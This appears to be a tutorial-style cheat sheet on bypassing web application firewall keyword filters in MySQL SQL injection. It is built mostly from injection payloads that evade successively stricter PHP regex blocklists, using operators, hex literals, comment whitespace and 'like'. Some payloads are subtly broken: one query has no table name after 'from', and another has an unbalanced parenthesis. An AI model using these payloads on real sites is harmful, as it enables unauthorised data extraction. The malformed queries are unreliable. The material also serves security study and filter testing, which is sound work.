WAF Bypass

Uppercase and Lowercase

Suppose the WAF filters union using str_replace():

$sql = str_replace("union", "" , $sql);

This filter only filters lowercase union, so we can use things like UNION or UNion.

  • Keywords in MySQL are case-insensitive.

  • Database names, table names are case-sensitive.

  • Column names are case-insensitive. This is really weird.

Repeated String

Suppose the developer uses $sql = str_replace("union", "" , $sql); and uppercase/lowercase is properly handled. We can still bypass this filter using unionunion. Note that str_replace() only removes union once, so unionunion becomes union.

Doulbe URL Encoding

If the WAF only calls urldecode() once, we can URL encode our payload twice to bypass the filter.

and/or

Suppose the WAF filters and and or:

preg_match('/(and|or)/i', $id)

The following payloads will be filtered:

1 or 1=1
1 and 1=1

We can bypass this filter using the following payload:

1 || 1=1
1 && 1=1

union

Suppose the WAF filters and, or, and union:

preg_match('/(and|or|union)/i', $id)

The following payloads will be filtered:

union select user,password from users

We can bypass this filter using the following payload:

|| (select user from users where user_id = 1) = 'admin'

The || symbol expands the scope of select, which has similar effect as union select.

where

Suppose the WAF filters and, or, union, and where:

preg_match('/(and|or|union|where)/i', $id)

The following payloads will be filtered:

|| (select user from users where user_id = 1) = 'admin'

We can bypass this filter using the following payload:

|| (select user from users limit 1,1) = 'admin'

Here limit 1,1 has the same functionality as where. limit 1,1 means start from index 1 and only select 1 entry.

limit

Suppose the WAF filters and, or, union, where and limit:

preg_match('/(and|or|union|where|limit)/i', $id)

The following payload will be filtered:

|| (select user from users limit 1,1) = 'admin'

We can bypass this filter using the following payload:

|| (select min(user) from group by user_id having user_id = 1) = 'admin'

group by

Suppose the WAF filters and, or, union, where, limit and group by:

preg_match('/(and|or|union|where|limit|group by)/i', $id)

The following payload will be filtered:

|| (select min(user) from group by user_id having user_id = 1) = 'admin'

We can bypass this filter using the following payload:

|| select substr((select group_concat(name)name from test), 1, 1) = 't')

select and single quote

Suppose the WAF filters and, or, union, where, limit, group by, select and single quote:

preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)

The following payload will be filtered:

|| select substr((select group_concat(name)name from test), 1, 1) = 't')

We can bypass this filter using the following payload:

|| substr(name, 1, 1) = 0x74
|| substr(name, 1, 1) = unhex(74)

hex, unhex and substr

Suppose the WAF filters and, or, union, where, limit, group by, select, single quote, hex, unhex, and substr:

preg_match('/(and|or|union|where|limit|group by|select|\'|hex|unhex|substr)/i', $id)

The following payload will be filtered:

|| substr(name, 1, 1) = unhex(74)

We can bypass this filter using the following payload:

|| binary(name) = 0x74657374

whitespace

Suppose the WAF filters and, or, union, where, limit, group by, select, single quote, hex, unhex, substr, and space:

preg_match('/(and|or|union|where|limit|group by|select|\'|hex|unhex|substr|\s)/i', $id)

The following payload will be filtered:

|| binary(name) = 0x74657374

We can bypass this filter using the following payload:

||/**/binary(name)/**/=/**/0x74657374

Here /**/ is an empty comment, which is equivalent to a whitespace.

equal sign

Suppose the WAF filters and, or, union, where, limit, group by, select, single quote, hex, unhex, substr, space, and =:

preg_match('/(and|or|union|where|limit|group by|select|\'|hex|unhex|substr|\s|=)/i', $id)

The following payload will be filtered:

||/**/binary(name)/**/=/**/0x74657374

We can bypass this filter using the following payload:

||/**/binary(name)/**/like/**/0x74657374

Here like matches more results than =, but we can use it just like = anyway.

Last updated